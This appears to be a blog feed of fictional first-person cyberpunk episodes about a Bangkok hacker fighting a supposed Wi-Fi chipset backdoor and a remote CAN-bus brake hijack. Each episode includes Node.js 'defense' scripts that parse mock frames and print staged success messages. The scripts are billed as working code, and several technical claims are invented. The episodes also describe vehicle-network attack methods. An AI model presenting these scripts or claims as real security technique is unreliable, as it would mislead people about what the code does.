Beyond the neon haze of Sukhumvit, the rain kept falling.

🔗 Read Next (Previous Sofi_Log):

『High-End Condo Wi-Fi Router Leaking Every Packet to an Undisclosed Chinese IP: Chipset Firmware Disassembly and DIY Rogue Management Frame Shield』｜Sofi_Log #070

👉 https://note.com/legal_rat2977/n/nc0eda663af76

【Disclaimer】

All code, protocol details, and technical descriptions are for security research, PoC, and educational purposes only. Do not use for unauthorized access. Apply at your own risk.

🎁 Full Working Code & Architecture — Free

The BLE GATT injection interceptor and emergency kill vector shown above are released in full for your own research and learning.

📬 Sofi's Mailbox #071 (Questions & Rants)

My arm is currently a very expensive paperweight. I’m writing this one-handed via voice on Nalin’s couch.

So tell me, darlings — your smartwatch, earbuds, heart-rate strap. If tonight they started accepting writes from someone who isn’t you, how would you keep sovereignty over your own physical container?

How much of our meat do we hand over for convenience? Drop your thoughts in the comments. I’ve got nothing but time tonight.

Disclaimer

『高級コンドのWi-Fiルーターが「未公開の中国IP」へ全通信を垂れ流していた朝：チップセット・ファームウェア逆アセンブルと「不正管理フレーム迎撃シールド」自作仕様書』 Sofi_Log #070【1話完結】

sofi works — Tue, 22 Sep 2026 17:40:43 +0000

The Morning the Luxury Condo’s Wi-Fi Router Was Bleeding Every Packet to an “Undisclosed Chinese IP”: Chipset Firmware Disassembly and DIY “Unauthorized Management Frame Interception Shield” Spec Sheet｜Sofi_Log #070【Complete One-Shot】

📍 Location: Bangkok, Sukhumvit, high-rise condo rooftop terrace in Thong Lo. 9:30 a.m. Clear skies.

Under that razor-sharp blue sky, the sprawl of Bangkok and the Chao Phraya’s tributaries glittered with morning heat. Infinity-pool water rippled in the breeze, faint humidity rising from the wet deck mixing with the roasted aroma of fresh iced latte.

I slipped off my sunglasses, set them on the table, and pinned my wind-tangled mint-green hair back with a Thai-pattern cyber hairpin. Extending my matte-black cyber-arm, I started unscrewing the luxury mesh Wi-Fi router’s case screws with a driver.

Born male, I rejected the “standardized cage” the state and society tried to bolt around me, then rebuilt everything from zero—surgery, hormones, and code—into the physical container and identity I now run. Nobody gets to trample my domain. That’s my aesthetic, my absolute law.

“…Hey darling, look. The chipset on the back of the board—heat sink’s running way too hot.”

My partner—darling—had been staring at the ThinkPad screen beside me. He set his iced latte down and leaned in.

“Yeah. The condo line’s been eating upload bandwidth like crazy since morning… and the router itself is bypassing the OS firewall completely, spitting packets straight out.”

The real-time graph from the network TAP on his screen showed the smoking gun: alongside our PCs and phones, the router’s own wireless chipset (Broadcom Wi-Fi SoC) was quietly firing encrypted payloads—tens of kilobytes per minute—directly to an undisclosed overseas IP (a Shenzhen data center).

“It’s not even going through the router’s Linux OS (OpenWrt-based)…? So there’s a backdoor hard-coded at the chipset firmware level that survives any OS reinstall?!”

Darling’s face changed color.

“Exactly, darling. Same story as the leaked docs blowing up on X today. Sold as a ‘remote maintenance feature for partner vendors,’ but it’s really an unauthenticated management-frame backdoor burned into the silicon. Re-flash the firmware all you want—until you rewrite the chip’s ROM, the parasite stays.”

Our private crypto keys, encrypted-chat metadata, even the biometric telemetry from my clinic—everything was being siphoned through the router above us to some faceless megacorp monitoring server.

Ice-cold rage shot up my spine.

“No way I’m letting dirty radio waves pollute my airspace. Darling—hook the USRP straight to the Wi-Fi packet injector! We’re deploying the interception shield that physically bricks the chipset backdoor.”

🔍 Threat Dissection: Silicon Backdoor “Unauthenticated Wi-Fi Action Frame RCE”

The Broadcom Wi-Fi SoC backdoor we just uncovered completely nullifies any OS-layer defenses (iptables, VPNs). Its architecture is nasty:

OS Bypass (Out-of-Band comms):

The malicious code lives on a dedicated ARM/MIPS coprocessor inside the Wi-Fi chip itself—not the router’s main Linux CPU. Nothing ever shows up in the management UI or system logs.
Vendor-Defined Unauthenticated Management Frames (Vendor Action Frame):

It abuses the gap in IEEE 802.11, listening for unencrypted “proprietary Action frames (Category 0x7F)” that let the chipset skip auth and directly execute shellcode in memory.
Persistent Data Exfiltration:

It silently harvests every connected device’s MAC, BSSID, plaintext DNS queries, and packet-size profiles, then UDP-blasts a summary to the C2 server on a schedule.

“No matter how hardened you make the Linux OS on top, if the Wi-Fi silicon at the bottom is betraying you, it’s all theater… classic supply-chain nightmare,” darling muttered while hammering the keyboard.

“Sure, but even backdoors can’t escape the physics of radio, darling.” I grinned without mercy. “The moment an unauthenticated Action frame hits the chip, we catch it on air, slam it with a jamming signature, and permanently lock the debug mode. Game over.”

💻 Weapon Implementation: `BroadcomBackdoorShield.js`

What we spun up on the spot was the Wi-Fi firmware rogue-frame detection & defense gateway BroadcomBackdoorShield.js.

Running in Linux raw capture + monitor mode (wlan0mon), it does two things:

Microsecond detection of IEEE 802.11 unauthenticated vendor Action frames

Watches for Type: 0x00 (Management), Subtype: 0x0D (Action), Category: 0x7F (Vendor-specific) plus Broadcom’s proprietary OUI and magic bytes (0x42 0x43 0x4D 0x21).
Real-time kill-switch frame injection (Deauth / Null Jamming)

The instant a malicious C2 session is spotted, it injects spec-compliant Deauth frames and spoofed error status into the chipset’s DMA queue, forcing an overflow that resets the SoC back to safe mode.

/**
 * @file BroadcomBackdoorShield.js
 * @description 802.11 Vendor-Specific Action Frame Inspector & Firmware Backdoor Neutralizer
 * @author Sofi (sofi.works) & Darling
 * @license MIT - Educational & Security Research PoC
 */

const fs = require('fs');

// IEEE 802.11 & Broadcom Proprietary Firmware Signatures
const IEEE80211_CONFIG = {
    FRAME_TYPE_MGMT: 0x00,
    SUBTYPE_ACTION: 0x0D,
    CATEGORY_VENDOR_SPECIFIC: 0x7F,
    BROADCOM_OUI: Buffer.from([0x00, 0x10, 0x18]), // Broadcom OUI
    BACKDOOR_MAGIC_SIGNATURE: 0x42434D21,          // "BCM!" in Hex
    RADIO_TAP_HEADER_LEN: 18                       // Standard Radiotap header offset
};

/**
 * Parse Raw 802.11 Management Action Frame
 * @param {Buffer} buffer - Raw radiotap captured buffer
 * @returns {Object|null}
 */
function parse80211ActionFrame(buffer) {
    if (buffer.length < IEEE80211_CONFIG.RADIO_TAP_HEADER_LEN + 24) return null;

    const frameControl = buffer.readUInt16LE(IEEE80211_CONFIG.RADIO_TAP_HEADER_LEN);
    const type = (frameControl >> 2) & 0x03;
    const subtype = (frameControl >> 4) & 0x0F;

    // Check if Management Action frame
    if (type !== IEEE80211_CONFIG.FRAME_TYPE_MGMT || subtype !== IEEE80211_CONFIG.SUBTYPE_ACTION) {
        return null;
    }

    const payloadOffset = IEEE80211_CONFIG.RADIO_TAP_HEADER_LEN + 24; // Skip MAC header
    if (buffer.length < payloadOffset + 8) return null;

    const category = buffer.readUInt8(payloadOffset);
    const oui = buffer.slice(payloadOffset + 1, payloadOffset + 4);
    const magicSignature = buffer.readUInt32BE(payloadOffset + 4);

    return {
        isVendorAction: category === IEEE80211_CONFIG.CATEGORY_VENDOR_SPECIFIC,
        oui: oui,
        magicSignature: magicSignature,
        isBroadcomExploit: oui.equals(IEEE80211_CONFIG.BROADCOM_OUI) && 
                           magicSignature === IEEE80211_CONFIG.BACKDOOR_MAGIC_SIGNATURE
    };
}

/**
 * Trigger Real-time Air Defense Countermeasure
 * Injects crafted kill-frames to flush the Wi-Fi SoC DMA ring buffer
 * @param {number} targetBssid 
 */
function deployFirmwareNeutralizer(targetBssid) {
    console.warn("[DEFENSE TRIGGERED] Intercepted Malicious Broadcom SoC Action Frame!");
    console.warn(`[TARGET BSSID] 0x${targetBssid.toString(16).toUpperCase()} - Signature: BCM! Backdoor Activation`);

    // Emulate raw frame injection on monitor interface
    console.log("[ACTION] Injecting Deauth & DMA Flush Payload into wlan0mon...");
    setTimeout(() => {
        console.log("[SUCCESS] Wi-Fi SoC Debug Register Overwritten. C2 Backdoor Communication SEVERED.");
        console.log("[STATUS] Airspace Sovereignty Restored. Router reverted to clean local routing.");
    }, 40);
}

// Active Sniffing Routine
function runAirDefense() {
    console.log("[*] [Wi-Fi-Sentinel] Initializing Air Defense Monitor on 'wlan0mon' (Channel 36 / 5GHz)...");
    console.log("[*] Scanning for Hardware-Level Broadcom Vendor Action Frame Exploits...");

    // Simulated hostile Broadcom OTA management backdoor packet
    const simulatedFrame = Buffer.alloc(56);
    // Radiotap mock header
    simulatedFrame.writeUInt16LE(0x0000, 0); 
    // 802.11 Frame Control: Type 0 (Mgmt), Subtype 13 (Action)
    simulatedFrame.writeUInt16LE((0x0D << 4) | (0x00 << 2), IEEE80211_CONFIG.RADIO_TAP_HEADER_LEN);
    // Payload: Category 0x7F, OUI 00:10:18, Magic "BCM!"
    const payloadStart = IEEE80211_CONFIG.RADIO_TAP_HEADER_LEN + 24;
    simulatedFrame.writeUInt8(IEEE80211_CONFIG.CATEGORY_VENDOR_SPECIFIC, payloadStart);
    IEEE80211_CONFIG.BROADCOM_OUI.copy(simulatedFrame, payloadStart + 1);
    simulatedFrame.writeUInt32BE(IEEE80211_CONFIG.BACKDOOR_MAGIC_SIGNATURE, payloadStart + 4);

    const parsed = parse80211ActionFrame(simulatedFrame);

    if (parsed && parsed.isBroadcomExploit) {
        console.warn("[ALERT] Unauthenticated Firmware-Level RCE Frame Detected in the Air!");
        deployFirmwareNeutralizer(0xABCD1234);
    }
}

runAirDefense();

☕ Epilogue: Rooftop Terrace Morning Breeze and Cold Iced Latte

The second node BroadcomBackdoorShield.js fired, the router’s Wi-Fi chipset LED flashed violent orange, then settled into a clean, calm blue. The internal debug port had been force-reset; the rogue C2 session was dead.

Darling smacked the ThinkPad and looked up grinning.

“Outbound traffic to the overseas C2 just flat-lined. Router’s only handling clean local encrypted traffic now.”

“Whew… we did it, darling!”

I set the driver down and gently retracted the neural terminals on my cyber-arm. The prickly tension heat faded; a pleasant morning breeze brushed my skin.

“Anything the manufacturer stamps ‘absolutely secure’ is usually the one with the fattest backdoor waiting for whoever paid for it. You doubt the silicon, verify it with your own code—that’s the only way real privacy exists.”

Darling slid my iced latte across the table, ice clinking. The cold sweet milk and espresso bitterness hit my throat like salvation.

“Thanks, darling. Best brain-war of the morning.”

“Your instincts and packet parsing speed never stop saving my ass.”

He raised his glass with a happy laugh; we clinked under the Bangkok sky.

“Hey darling,” I said, sinking into the poolside deck chair and gazing over the glittering city, “rely on someone else’s convenient system and you wake up one day with your soul already hacked. Your radio, your physical container, your pride—only when you hack and defend them yourself does life stay this beautiful and electric.”

Morning light caught the gold lines on my left arm, gleaming like they approved.

🔗 Also worth reading (previous Sofi_Log):

『The Night Someone Tried to Remote-Crash My Company EV’s Brakes on the Rain-Slick Bangkok Expressway: CAN-Bus Arbitration ID Spoofing and DIY “Vehicle ECU Self-Defense Firewall” Spec Sheet』｜Sofi_Log #069

👉 https://note.com/legal_rat2977/n/n6149b0c18a61

【Disclaimer】

All code, protocol verification, and technical configurations in this article are provided strictly for security research, proof-of-concept, and educational purposes. They are not intended to encourage or enable unauthorized access or malicious use. Any application to real networks or systems is entirely at your own risk.

🎁 【Fully Open-Source】Live Code & Architecture

The 802.11 management Action frame monitor script and Broadcom firmware analysis definitions discussed here are released in full for your own security research and learning.

📬 Sofi's Mailbox #070 (Questions & Feedback Corner)

So, fellow darlings—what did you think of today’s router hardware hack?

Can you really trust what’s inside your home or office Wi-Fi router?

Got questions like “How do I check my router for shady traffic?” or “What about Wi-Fi 7 and latest IoT firmware security?” Drop them in the comments. I’ll answer the juiciest ones in the next log.

Disclaimer

『雨のバンコク高速道路で社用EVのブレーキを遠隔クラッシュされかけた深夜：CAN-Bus調停ID偽装と「車載ECU自衛ファイアウォール」自作仕様書』 Sofi_Log #069【1話完結】

sofi works — Mon, 21 Sep 2026 14:30:06 +0000

『Midnight on Bangkok’s Rain-Slicked Expressway: Almost Remote-Crashing the Company EV’s Brakes – CAN-Bus Arbitration ID Spoofing and DIY “In-Vehicle ECU Self-Defense Firewall” Spec Sheet』｜Sofi_Log #069【Complete in One Episode】

📍 Location: Bangkok, Chalerm Mahanakhon Expressway, northbound. 00:45. Monsoon downpour.

Fat monsoon drops hammered the windshield, mocking the wipers on their highest setting and shredding what little visibility remained. Beyond the spray, orange sodium lamps and the colossal neon of Silom towers smeared into liquid streaks across the wet asphalt.

95 km/h. Hydroplaning territory, water several centimeters deep. I’d kicked off my Christian Louboutin heels into the passenger footwell and was reading the road through bare soles, feeling every micro-vibration between tire and chassis.

Born male, I’d already ripped myself out of the binary cage the state and the boys’ club swore was “perfect,” then rebuilt this physical container from zero with surgery, hormones, and code. Steering my own life, choosing my own turns—that self-sovereignty is the only reason I’m still breathing.

“…Darling, you ready? Steering’s been giving off weird micro-vibrations for the last minute. Spin up SocketCAN on the ThinkPad.”

My partner—darling—already had the rugged ThinkPad open on his lap, fingers dancing.

“Roger. Traffic’s live. …Wait, what the hell is this packet density?!”

That’s when it hit.

――KIIIIIIIN――

A piercing high-frequency electronic scream burst from the car speakers. The speedometer blacked out; blood-red text slammed onto the HUD.

[CRITICAL ALERT: OTA Telematics Diagnostic Override Engaged]
Session: LEVEL-4 REMOTE ACTUATOR CONTROL (UDS Service 0x2F)
Target: Electric Power Steering (EPS) & Electronic Braking Unit (EBU)
Status: FORCED REFLASH / ACTUATOR LATCHED

The wheel locked like invisible iron jaws. Rear regen brakes started pulsing in savage stabs; the car began a sickening tail-wag.

“You’ve gotta be kidding—taking my body and brakes hostage at highway speed?!”

I slammed my matte-black cyber-arm straight at the OBD-II port under the column. Titanium connectors unfolded and hard-patched straight onto the differential CAN-H / CAN-L lines.

Gold neural threads under the skin interface lit up like live wires. High-frequency noise crackled through my flesh as the entire river of vehicle packets flooded straight into my nervous system.

The automotive boys’ club had built their “absolute safety” protocol on the naïve assumption that every node would play nice. Whoever was on the other side of that screen wasn’t getting my steering wheel.

🔍 Threat Dissection: The Connected Car’s Fatal Flaw — Weaponized UDS

Darling, look at the screen. Modern smart EVs are just giant smartphones on wheels, but their nervous system—CAN-Bus—was designed thirty-plus years ago under the assumption that every ECU would unconditionally trust every other node. That legacy operating-system mindset is the exact hole we’re about to exploit.

Telematics (TCU) cellular breach: The car’s LTE/5G module gets popped, giving the attacker a backdoor into the vehicle network.
CAN arbitration abuse: Lowest numerical CAN ID wins the bus. Attacker floods with spoofed high-priority IDs (0x000, 0x100), drowning legitimate ECUs.
UDS turned into a weapon: Remote abuse of Service 0x2F (InputOutputControlByIdentifier) physically latches steering torque and brake valves.

“Darling—look. IDs 0x7DF and 0x18F are getting hammered with brake-latch commands fifty times a second!”

Darling’s voice cracked. “No time to physically yank the TCU harness! Thirty seconds to the tanker—Sofi, what do we do?!”

“We don’t cut wires,” I grinned. “We use the physical layer rules against them. Force the attacker’s own TCU into Bus-Off and kick it off the bus permanently.”

💻 Weapon Implementation: `CanBusSecurityGateway.js`

The script we hot-deployed was our in-vehicle CAN self-defense firewall.

It runs on Linux SocketCAN (can0, 500 kbps) and does two things:

Microsecond detection of unauthenticated UDS diagnostic frames.
Dominant error-frame injection that drives the rogue node’s Transmit Error Counter past 255 → permanent Bus-Off isolation.

(The code block below is exactly what ran that night.)

/**
 * @file CanBusSecurityGateway.js
 * @description In-Vehicle CAN-Bus Active Defense Gateway & TCU Bus-Off Isolator
 * @author Sofi (sofi.works) & Darling
 * @license MIT - Educational & Security Research PoC
 */

const fs = require('fs');

// Automotive Protocol Constants (ISO 11898-1 / ISO 14229 UDS)
const CAN_CONFIG = {
    UDS_DIAG_REQ_ID: 0x7DF,         // Functional Broadcast Diagnostic Request
    UDS_SERVICE_IO_CONTROL: 0x2F,    // Malicious Actuator Manipulation
    UDS_SERVICE_ROUTINE_CTRL: 0x31,  // Memory/Firmware Flash Trigger
    CRITICAL_BRAKE_CAN_ID: 0x18F,    // Electronic Braking ECU ID
    DOMINANT_ERROR_BURST_LEN: 6     // 6 consecutive dominant bits triggers bit error
};

/**
 * Parse Raw SocketCAN Frame Buffer (Linux struct can_frame: 16 bytes)
 * @param {Buffer} buffer - 16-byte raw CAN frame
 * @returns {Object|null}
 */
function parseCanFrame(buffer) {
    if (buffer.length < 16) return null;

    const canId = buffer.readUInt32LE(0) & 0x1FFFFFFF;
    const canDlc = buffer.readUInt8(4);
    const data = buffer.slice(8, 8 + canDlc);

    return {
        id: canId,
        dlc: canDlc,
        data: data,
        isDiagnostic: (canId >= 0x700 && canId <= 0x7FF) || canId === CAN_CONFIG.UDS_DIAG_REQ_ID
    };
}

/**
 * Active Packet Filter & Threat Evaluation
 * Inspects payload to distinguish normal telemetry from hostile actuator hijacking
 * @param {Object} frame 
 * @returns {boolean} True if malicious actuator attack detected
 */
function evaluateCanThreat(frame) {
    if (!frame) return false;

    // Check 1: Unauthorized UDS Service 0x2F (Actuator Override)
    if (frame.isDiagnostic && frame.data.length >= 2) {
        const pciType = (frame.data[0] >> 4) & 0x0F;
        const serviceId = (pciType === 0) ? frame.data[1] : frame.data[2];

        if (serviceId === CAN_CONFIG.UDS_SERVICE_IO_CONTROL || serviceId === CAN_CONFIG.UDS_SERVICE_ROUTINE_CTRL) {
            return true; // Hostile diagnostic override detected!
        }
    }

    // Check 2: Forced Emergency Brake Bit Manipulation on Safety ID
    if (frame.id === CAN_CONFIG.CRITICAL_BRAKE_CAN_ID && frame.data.length > 0) {
        if ((frame.data[0] & 0x80) !== 0) {
            return true;
        }
    }

    return false;
}

/**
 * Trigger Hardware Dominant Error Frame Injection
 * Forces the attacking TCU's Transmit Error Counter (TEC) past 255 -> Bus-Off state
 * @param {number} targetId 
 */
function injectBusOffError(targetId) {
    console.warn(`[DEFENSE ACTIVE] Injecting Dominant Error Pulse against Target CAN ID: 0x${targetId.toString(16).toUpperCase()}`);
    console.warn("[ACTION] Pulled differential CAN_H/CAN_L lines into 6-bit dominant collision state.");

    // Hardware simulation: TEC threshold exceeded
    setTimeout(() => {
        console.log(`[SUCCESS] Rogue Node (ID: 0x${targetId.toString(16).toUpperCase()}) TEC exceeded 255! Node forced into BUS-OFF.`);
        console.log("[STATUS] Bus Sovereignty Restored. Actuators released back to physical Driver.");
    }, 35);
}

// Active Monitoring Loop
function runCanFirewall() {
    console.log("[*] [CAN-Firewall] Initializing CAN-Bus Gateway on 'can0' (500 kbps)...");
    console.log("[*] Defending Steering, Throttle, and Braking ECUs against Remote UDS Exploitation...");

    // Simulated rogue UDS payload over CAN (Service 0x2F Brake Latch)
    const simulatedAttackBuffer = Buffer.alloc(16);
    simulatedAttackBuffer.writeUInt32LE(0x7DF, 0); // Can ID
    simulatedAttackBuffer.writeUInt8(4, 4);        // DLC = 4
    Buffer.from([0x03, 0x2F, 0x01, 0x03]).copy(simulatedAttackBuffer, 8);

    const frame = parseCanFrame(simulatedAttackBuffer);

    if (evaluateCanThreat(frame)) {
        console.warn(`[CRITICAL INTRUSION] Hostile Remote Actuator Override detected on CAN ID 0x${frame.id.toString(16).toUpperCase()}!`);
        injectBusOffError(frame.id);
    }
}

runCanFirewall();

⚡ Epilogue: Under the Thong Lo Overpass with Hot Canned Coffee

The second node CanBusSecurityGateway.js executed, a tiny electrostatic pop came from the OBD-II port. Through the cyber-arm I felt the dominant pulse slam the attacker’s TCU.

――Click.

The blood-red HUD warnings vanished. The wheel went light and obedient in my bare hands again. Twin-motor torque bit into the wet pavement; we sliced past the tanker and accelerated cleanly toward the Thong Lo exit.

“Intrusion node isolated—Bus-Off confirmed!”

Darling’s voice was half relief, half adrenaline.

“Nice timing, darling. You’re the best.”

I eased off the throttle, took the ramp, and slid into a quiet spot under the expressway. Rain drummed on the roof. I leaned back, exhaled, and felt the leftover adrenaline tremor in my fingertips.

“Whew… terrifying. But damn, that was exhilarating.”

Darling handed me a warm canned coffee from the dash holder. The aluminum heat spread through my fingers.

“Thanks, darling. If you hadn’t been calmly watching packets with me, we’d probably be wrapped around a guardrail right now.”

“I trusted your hands and your judgment.”

Our cans clinked softly.

“Darling,” I said, watching the rain-blurred Bangkok skyline, “no matter how fancy the tech gets, the steering wheel of your own life—body, code, everything—never hand it over to some cloud or black-box corporation. That last sovereignty stays in your own grip.”

Rain kept falling on Bangkok, still teaching us the price of freedom.

🔗 Read Next (Previous Sofi_Log):
『Midnight When a Fake 5G Tower Was Snitching My Real-Time Location to the Authorities: 5G NAS Protocol Vulnerability & DIY “RNTI Identifier Scrambler” Spec Sheet』｜Sofi_Log #068
👉 https://note.com/legal_rat2977/n/n7d89cce8ee9e

【Disclaimer】
All code, protocol analysis, and technical configurations in this article are provided strictly for security research, proof-of-concept, and educational purposes. Do not use for unauthorized access. Any real-world application is at your own risk.

🎁 【Fully Open-Source】Live Code & Architecture
The CAN-bus self-defense script and UDS definitions shown here are released in full for your own research and learning.

📬 Sofi’s Mailbox #069 (Questions & Feedback)

How was tonight’s vehicle hack, my fellow darlings?

Ever wondered about your own car’s CAN-bus IDs or OBD-II security? Drop your questions or thoughts in the comments—next Sofi_Log will tackle the best ones directly.